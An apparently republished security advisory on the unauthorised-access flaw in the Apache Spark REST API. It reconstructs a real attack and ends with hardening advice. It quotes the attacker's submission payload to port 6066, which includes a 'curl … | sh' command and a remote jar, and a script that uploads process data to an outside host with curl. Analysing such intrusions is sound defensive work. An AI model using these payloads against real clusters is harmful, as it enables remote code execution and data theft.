Shulou(Shulou.com)05/31 Report--

Today, I will talk to you about how to analyze Spark REST API unauthorized vulnerabilities, which may not be well understood by many people. In order to make you understand better, the editor has summarized the following contents for you. I hope you can get something from this article.

1. Details of vulnerabilities

Apache Spark is a fast and general computing engine specially designed for large-scale data processing. It is an open source Hadoop MapReduce-like general parallel framework developed by UC Berkeley AMP lab (AMP Lab of the University of California, Berkeley). In order to enable users to easily control the system to calculate and view task results, Spark also provides WEB UI graphical interface and corresponding REST API to facilitate user operation.

Spark, as the "computing engine" of big data era, once breached, the enterprise's core data assets, computing power, and user-sensitive data will all be stolen by attackers; further, due to the distributed characteristics of Spark itself, the breach of an attack point may lead to the fall of the whole cluster. Improper setting of Spark permissions may cause attackers to operate Spark to create tasks, delete tasks, view task results, etc., without authentication, and finally gain the ability to execute arbitrary instructions.

We restored the attack steps of the attacker:

1. The attacker discovered a Spark webui service through web scanning.

two。 Construct attack instructions and send them to the server's REST API through port 6066

POST / v1/submissions/createhost:xxxx.xxx.xx:6066 {"action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": ["curl x.x.x.x/y.sh | sh"], "appResource": "https://xxxx.onion.plus/SimpleApp.jar"," environmentVariables ": {" SPARK_ENV_LOADED ":" 1 "}," mainClass ":" SimpleApp " "sparkProperties": {"spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar"," spark.driver.supervise: "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066"}}

The attack payload instructs the server to download https://xxxxxxxx.onion.plus/SimpleApp.jar remotely and execute any method specified by the attacker, who also hides his relevant information through the Onion network.

3. Reverse analyze the jar package, and the jar package is a simple backdoor for executing commands

When the jar package is executed, the Spark server will download a shell script from the Onion network and execute it.

4. The script reads as follows:

#! / bin/bashps ax-- sort=-pcpu > / tmp/tmp.txtcurl-F "file=@/tmp/tmp.txt" http://x.x.x.x/re.phprm-rf / tmp/tmp.txt

The script simply prints and sends back the performance information, and no further attacks have been made.

Second, the impact and changing situation of loopholes

At present, under the monitoring of the whole network, there are about 5000 Spark machines exposed to the public network with 8080 ports open, and hackers can take over the machines with permission problems in batch.

Prior to this, the Aliyun security team had warned against vulnerabilities related to distributed computing systems.

The principles and methods of exploitation of these two vulnerabilities are very similar, which also supports the previous prediction.

With the further prosperity of cryptocurrency economy, distributed applications with strong computing power but weak security capabilities will face more vulnerability exploitation and hacker attacks.

As Hadoop Yarn unauthorized vulnerabilities have become an important means of mining by hackers throughout the network, we have reason to believe that Spark REST API vulnerabilities will soon be exploited by the underground industry.

III. Advice from security experts

It is recommended to configure access policies through iptables or security groups to restrict access to ports such as 8088, 8081, 7707, 6606, etc., and if it is not necessary, do not open the interface to the public network and change it to local or private network calls.

It is recommended to use the yarn control mode of Spark, and enable HTTP Kerberos to control the access to WEB UI. If you use Spark standalone mode, you need to implement the jar package for access control, and set spark.ui.filters to control the access to WEB UI.

After reading the above, do you have any further understanding of how to analyze Spark REST API unauthorized vulnerabilities? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.